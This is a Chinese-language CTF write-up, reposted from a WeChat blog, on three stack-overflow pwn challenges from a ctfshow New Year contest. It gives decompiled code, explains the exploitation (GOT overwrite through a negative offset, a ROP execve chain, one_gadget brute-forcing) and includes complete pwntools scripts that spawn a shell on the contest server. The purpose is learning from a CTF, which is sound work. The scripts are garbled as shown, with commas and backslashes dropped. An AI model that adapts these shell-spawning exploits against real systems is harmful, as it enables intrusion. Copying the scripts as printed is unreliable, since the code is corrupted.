【PWN】ctfshow元旦水友赛题目解析

admin 2024年1月7日17:01:54评论162 views字数 6698阅读22分19秒阅读模式

ctfshow元旦水友赛不愧是群友出题,利用姿势千奇百怪的。就连五星上将麦克阿瑟都忍不住表示,如果蓝桥杯是由群友出题,那么就没有CISCN什么事了。

三题栈溢出,两题堆溢出,还有一题go的沙箱逃逸。由于堆出的是tcache出现的版本,我还没看到那,就只研究了栈溢出的题目。

1、Badboy

题目描述:坏男孩的心思你不懂

main函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned __int8 v4; // [rsp+7h] [rbp-19h] BYREF
  __int64 v5; // [rsp+8h] [rbp-18h] BYREF
  __int64 buf[2]; // [rsp+10h] [rbp-10h] BYREF

  buf[1] = __readfsqword(0x28u);
  init_func(argc, argv, envp);
  buf[0] = 'gfedcba';
  v5 = 0LL;
  while ( (_DWORD)kl )
  {
    puts("i am bad boy ");
    __isoc99_scanf("%ld", &v4);
    write(1, (char *)buf + v4, (unsigned int)kl);
    LODWORD(kl) = kl - 3;
  }
  printf("because i'm not girl ");
  read(0, buf, 3uLL);
  printf("so can you fell me? ");
  __isoc99_scanf("%lld", &v5);
  if ( v5 > 8 )
    exit(0);
  printf("HaHaHa ");
  read(0, (char *)buf + v5, 3uLL);
  puts((const char *)buf);
  return 0;
}

其中kl.data段的数据,值等于6

给出writeup

from pwn import *
context(arch="amd64", os="linux")
context.log_level = "debug"

# p = process("./BadBoy-2")
p = remote("pwn.challenge.ctf.show"28217)
elf = ELF("./BadBoy-2")
libc = elf.libc

p.sendlineafter(b"i am bad boy n"b"40")
buf_addr = u64(p.recv(6).ljust(0x8b"x00")) - 0xf8
log.success(f"buf_addr: {hex(buf_addr)}")

p.sendlineafter(b"i am bad boy n"b"24")
libc_start_main = u64(p.recv(3).ljust(0x8b"x00")) - 231
log.success(f"libc_start_main: {hex(libc_start_main)}")

p.sendlineafter(b"because i'm not girl "b"shx00")

puts_got = elf.got["puts"]
v8 = -buf_addr + puts_got
p.sendlineafter(b"so can you fell me? ", str(v8).encode("latin-1"))

system_addr = libc_start_main - libc.sym["__libc_start_main"] + libc.sym["system"]
payload = p64(system_addr)
log.success(hex(system_addr))
p.sendlineafter(b"HaHaHa ", payload)

p.interactive()

首先是程序中给出了两次任意地址读的机会。首先考虑泄露栈地址。通过调试发现:

【PWN】ctfshow元旦水友赛题目解析

在距离buf0x28长度的地址(0x7ffd58472238 - 0x7ffd58472210 = 0x28)储存了一个栈地址(0x7ffd58472308),计算一下与buf地址的偏移,得到buf的地址。

p.sendlineafter(b"i am bad boy n"b"40")
buf_addr = u64(p.recv(6).ljust(0x8b"x00")) - 0xf8
log.success(f"buf_addr: {hex(buf_addr)}")

第二次读取libc地址内某个地址的后三字节,从上图可知,在地址为0x7ffd58472228的地方储存着__libc_start_main+231的值,故利用这个值来leaklibc基地址的后三个字节。

p.sendlineafter(b"i am bad boy n"b"24")
libc_start_main = u64(p.recv(3).ljust(0x8b"x00")) - 231
log.success(f"libc_start_main: {hex(libc_start_main)}")

由于程序莫名其妙的在最后执行了puts((const char *)buf);语句,可以联想到可能是更改puts函数的got表来实现getshell(我当时做的时候反正是没想出来)

所以在buf处读入字符串shx00

p.sendlineafter(b"because i'm not girl "b"shx00")

之后程序在v5处读入一个值,并判断是否大于8,这里可以考虑输入负数来覆盖到got表。

puts_got = elf.got["puts"]
v8 = -buf_addr + puts_got
p.sendlineafter(b"so can you fell me? ", str(v8).encode("latin-1"))

使用partial writeputs函数的got表处写入system函数的地址。

最后当执行puts(buf)的时候就能实现getshell

所以其实,只需要leaklibc的后三字节即可

2、s.a.a.l

题目描述:这个程序怎么一个输出函数都没有?

main函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v4; // [rsp+0h] [rbp-58h] BYREF

  read(0, &v4, 0x50uLL);
  zz_zz();
  Zz_Zz_955();
  return 0;
}

zz_zz()

__int64 zz_zz()
{
  unsigned int v0; // eax

  setvbuf(stdin0LL, 20LL);
  setvbuf(stdout0LL, 20LL);
  setvbuf(stderr0LL, 20LL);
  v0 = time(0LL);
  srand(v0);
  return (unsigned int)(rand() % 15 + 45);
}

Zz_Zz_955()

__int64 Zz_Zz_955()
{
  int v0; // eax
  __int64 v1; // rdi
  signed int v2; // esi
  unsigned int seed; // [rsp+0h] [rbp-28h] BYREF
  char v5[8]; // [rsp+4h] [rbp-24h] BYREF
  __int16 v6; // [rsp+Ch] [rbp-1Ch]
  __int16 v7; // [rsp+Eh] [rbp-1Ah]

  v7 = 0;
  strcpy(v5, "h/sinb");
  v5[7] = 0;
  v6 = 0;
  __isoc99_scanf(&unk_400984, &seed);
  srand(seed);
  seed = 0;
  do
  {
    v0 = rand();
    v1 = (int)seed++;
    v2 = seed;
    d[v1] = v5[v0 % 6];                         // d[0] = v5[v0 % 6]
  }
  while ( v2 <= 6 );
  read(0, &v5[6], 0x58uLL);
  return 0LL;
}

重点在Zz_Zz_955函数内,从用户读取seed,然后生成随机数,根据随机数从字符串"h/sinb"中取值放到d数组中,共7次机会,这边就是用来拼成/bin/sh字符串的。关于seed的生成,可以参考:

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main() {
    for (unsigned int seed = 1; seed < UINT_MAX; ++seed) {
        srand(seed);
        
        int result[7];
        for (int i = 0; i < 7; ++i) {
            result[i] = rand() % 6;
        }

        if (result[0] == 1 && result[1] == 5 && result[2] == 3 &&
            result[3] == 4 && result[4] == 1 && result[5] == 2 &&
            result[6] == 0) {
            printf("Found seed: %un", seed);
            break;
        }
    }

    return 0;
}

得到的结果为:38856

在查找gadget的时候发现:【PWN】ctfshow元旦水友赛题目解析

有对rax的语句,而且:【PWN】ctfshow元旦水友赛题目解析

存在syscall语句,妥妥的系统调用实现getshell

没有对rdx赋值的gadget,但是可以在程序中发现:【PWN】ctfshow元旦水友赛题目解析

可以利用这个语句将rdx置成0。通过调试发现,在执行syscall前的rdx的值为1,所以在payload最后加上了p64(1)

所以最终的write up为:

from pwn import *
context(arch="amd64", os="linux")
context.log_level = "debug"

# p = process("./s.s.a.l")
p = remote("pwn.challenge.ctf.show"28225)
elf = ELF("./s.s.a.l")

bin_sh_addr = 0x601090
prax_ret = 0x400668
syscall = 0x400760
xor_rdx = 0x400838

payload = p64(0) + p64(bin_sh_addr) + p64(prax_ret) + p64(59) + p64(xor_rdx) + p64(syscall) + p64(1)
p.sendline(payload)

p.send(b"38856")

offset = 31
prsi_rdi_ret = 0x400831
payload = b"a" * offset + p64(prsi_rdi_ret)
p.send(payload)

p.interactive()

3、yes_or_no

题目描述:点头yes摇头no,来是come去是go (脸黑的绕道QaQ)

main函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  no();
  return yes();
}

no函数:

; void no()
public no
no proc near ; CODE XREF: main+9↑p
; __unwind {
push rbp
mov rbp, rsp
add r12, rsp
add r15, rsp
leave
retn
no endp
align 2
pop rbp
retn
; } // starts at 401141

yes函数:

ssize_t yes()
{
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF

  return read(0, buf, 0x40uLL);
}

此外,程序中存在以下的gadget

【PWN】ctfshow元旦水友赛题目解析

我当时的时候还在想,这个r12r15寄存器有啥用,看了wp之后才意识到跟one_gadget的利用条件相关,可恶应该早点意识到的。

解题思路大概是不断将返回地址设置为yes函数,利用leave; ret操作将栈顶不断往下移,除了__libc_start_main,还有一个libc上的值也在栈上,但是需要经过调试才能知道。

【PWN】ctfshow元旦水友赛题目解析
【PWN】ctfshow元旦水友赛题目解析

此时距离栈顶有0x78的距离,刚好将栈顶往下移0x78 / 8 = 15次即可。然后利用partial write将这个地址的后六位进行覆盖,由于后三位的值能确定,也就是说要爆破前面三位,成功概率为:1/0xfff

官方的writeup如下:

from pwn import *
from time import sleep
context(arch="amd64", os="linux")
# context.log_level = "debug"

# p = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc

one_gadget = 0xe3b2e
pr12_ret = 0x401176
pr15_ret = 0x401179
ret = 0x401178
yes_addr = 0x401150

while(1):
    try:
        p = process("./pwn")
        # p = remote("pwn.challenge.ctf.show", 28268)
    except:
        sleep(1)
        continue
    p.send(b"a" * 0x20 + b"b" * 0x8 + p64(pr12_ret) + p64(0) + p64(yes_addr))
    sleep(0.01)
    p.send(b"a" * 0x20 + b"b" * 0x8 + p64(pr15_ret) + p64(0) + p64(yes_addr))
    sleep(0.01)
    for i in range(15):
        p.send(b"a" * 0x20 + b"b" * 0x8 + p64(yes_addr))
        sleep(0.01)
    p.send(b"a" * 0x20 + b"b" * 0x8 + b"x2ex3bx0e")
    try:
        p.sendline(b"echo sess")
        if b"sess" in p.recv(1024):
            p.interactive()
    except Exception:
        p.close()
        continue

我脸黑,反正我是一直没爆破出来()

但是做这题的时候我发现,之前讲过的《read函数 + 栈溢出的新型利用》一文中提到的思路在这题也能实现一点效果,只不过这题开启了Full Relro,所以不能使用dl_resolve来实现getshell。计划出一篇相关的文章来介绍当本题关闭Full Relro之后的另一种利用方法。

总结

这次三题我只写出来了一题s.a.a.l,其他的两题都是考完试后才看wp理解的,总的来说还是学到许多东西。

原文始发于微信公众号(Stack0verf1ow):【PWN】ctfshow元旦水友赛题目解析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月7日17:01:54
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【PWN】ctfshow元旦水友赛题目解析http://cn-sec.com/archives/2371171.html

发表评论

匿名网友 填写信息